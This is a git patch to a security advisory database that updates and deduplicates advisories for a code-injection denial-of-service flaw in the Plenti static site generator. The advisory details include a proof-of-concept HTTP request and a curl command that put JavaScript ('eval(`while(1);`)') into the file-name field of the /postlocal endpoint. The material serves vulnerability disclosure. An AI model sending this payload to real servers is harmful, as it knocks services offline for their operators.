From e52d4dbd56984cafdf18a58efaa16abc8b5aa231 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 12 Mar 2025 21:59:33 +0000 Subject: [PATCH] Publish Advisories GHSA-mj4v-hp69-27x5 GHSA-323w-6p85-26fr GHSA-323w-6p85-26fr --- .../GHSA-mj4v-hp69-27x5.json | 22 +++++- .../GHSA-323w-6p85-26fr.json | 76 +++++++++++++++++++ .../GHSA-323w-6p85-26fr.json | 41 ---------- 3 files changed, 96 insertions(+), 43 deletions(-) create mode 100644 advisories/github-reviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json delete mode 100644 advisories/unreviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json diff --git a/advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json b/advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json index baef3905b13..57b8a5f926c 100644 --- a/advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json +++ b/advisories/github-reviewed/2025/02/GHSA-mj4v-hp69-27x5/GHSA-mj4v-hp69-27x5.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-mj4v-hp69-27x5", - "modified": "2025-02-06T18:05:42Z", + "modified": "2025-03-12T21:58:41Z", "published": "2025-02-05T21:30:53Z", - "aliases": [], + "aliases": [ + "CVE-2025-26260" + ], "summary": "Plenti - Code Injection - Denial of Services", "details": "### Summary\nWhile pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.\n\n### Details\nWhile posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.\n\n\"image\"\n\nLast part of compileSvelte function ssrStr parameter executed in v8go engine.\n\n\"image\"\n\nThis cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.\n\nAfter posting a file with name 'layouts/global/test; eval(`while(1);`);var test.svelte' we can see the ssrStr parameter include our javascript codes.\n\n\"image\"\n\n**Note**: Eval usage not must I just want to ensure that it's run javascript commands.\n\n### PoC\n**Request**\n```\nPOST /postlocal HTTP/1.1\nHost: localhost:3000\nContent-Length: 125\nContent-Type: application/json; charset=utf-8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]\n```\n**Video**\n![PoC](https://github.com/user-attachments/assets/2aca36a1-6989-4be8-a8d1-3b12960f3e9b)\n\n**Curl Request**\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \\\n --data-binary $'[{\\\"action\\\":\\\"create\\\",\\\"encoding\\\":\\\"text\\\",\\\"file\\\":\\\"layouts/global/test; eval(`while(1);`);var test.svelte\\\",\\\"contents\\\":\\\"anethole\\\"}]' \\\n $'http://localhost:3000/postlocal'\n```\n\n### Impact\nIt's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.\n\n**Note:** Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like [CVE-2024-5830](https://github.com/advisories/GHSA-fchp-8m28-g68f),", "severity": [ @@ -41,14 +43,30 @@ "type": "WEB", "url": "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26260" + }, { "type": "WEB", "url": "https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e" }, + { + "type": "WEB", + "url": "https://ahmetakan.com/2025/02/14/cve-2025-26260" + }, + { + "type": "WEB", + "url": "https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260" + }, { "type": "PACKAGE", "url": "https://github.com/plentico/plenti" }, + { + "type": "WEB", + "url": "https://github.com/plentico/plenti/releases/tag/v0.7.17" + }, { "type": "WEB", "url": "https://pkg.go.dev/vuln/GO-2025-3454" diff --git a/advisories/github-reviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json b/advisories/github-reviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json new file mode 100644 index 00000000000..bb191ae209a --- /dev/null +++ b/advisories/github-reviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json @@ -0,0 +1,76 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-323w-6p85-26fr", + "modified": "2025-03-12T21:58:24Z", + "published": "2025-03-12T18:32:53Z", + "withdrawn": "2025-03-12T21:58:24Z", + "aliases": [], + "summary": "Duplicate Advisory: Plenti - Code Injection - Denial of Services", + "details": "# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-mj4v-hp69-27x5. This link is maintained to preserve external references.\n\n# Original Description\nPlenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/plentico/plenti" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "< 0.7.17" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26260" + }, + { + "type": "WEB", + "url": "https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e" + }, + { + "type": "WEB", + "url": "https://ahmetakan.com/2025/02/14/cve-2025-26260" + }, + { + "type": "WEB", + "url": "https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260" + }, + { + "type": "PACKAGE", + "url": "https://github.com/plentico/plenti" + }, + { + "type": "WEB", + "url": "https://github.com/plentico/plenti/releases/tag/v0.7.17" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-03-12T21:58:24Z", + "nvd_published_at": "2025-03-12T16:15:23Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json b/advisories/unreviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json deleted file mode 100644 index 5d7e2288889..00000000000 --- a/advisories/unreviewed/2025/03/GHSA-323w-6p85-26fr/GHSA-323w-6p85-26fr.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-323w-6p85-26fr", - "modified": "2025-03-12T18:32:53Z", - "published": "2025-03-12T18:32:53Z", - "aliases": [ - "CVE-2025-26260" - ], - "details": "Plenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.", - "severity": [], - "affected": [], - "references": [ - { - "type": "WEB", - "url": "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26260" - }, - { - "type": "WEB", - "url": "https://ahmetakan.com/2025/02/14/cve-2025-26260" - }, - { - "type": "WEB", - "url": "https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260" - }, - { - "type": "WEB", - "url": "https://github.com/plentico/plenti/releases/tag/v0.7.17" - } - ], - "database_specific": { - "cwe_ids": [], - "severity": null, - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2025-03-12T16:15:23Z" - } -} \ No newline at end of file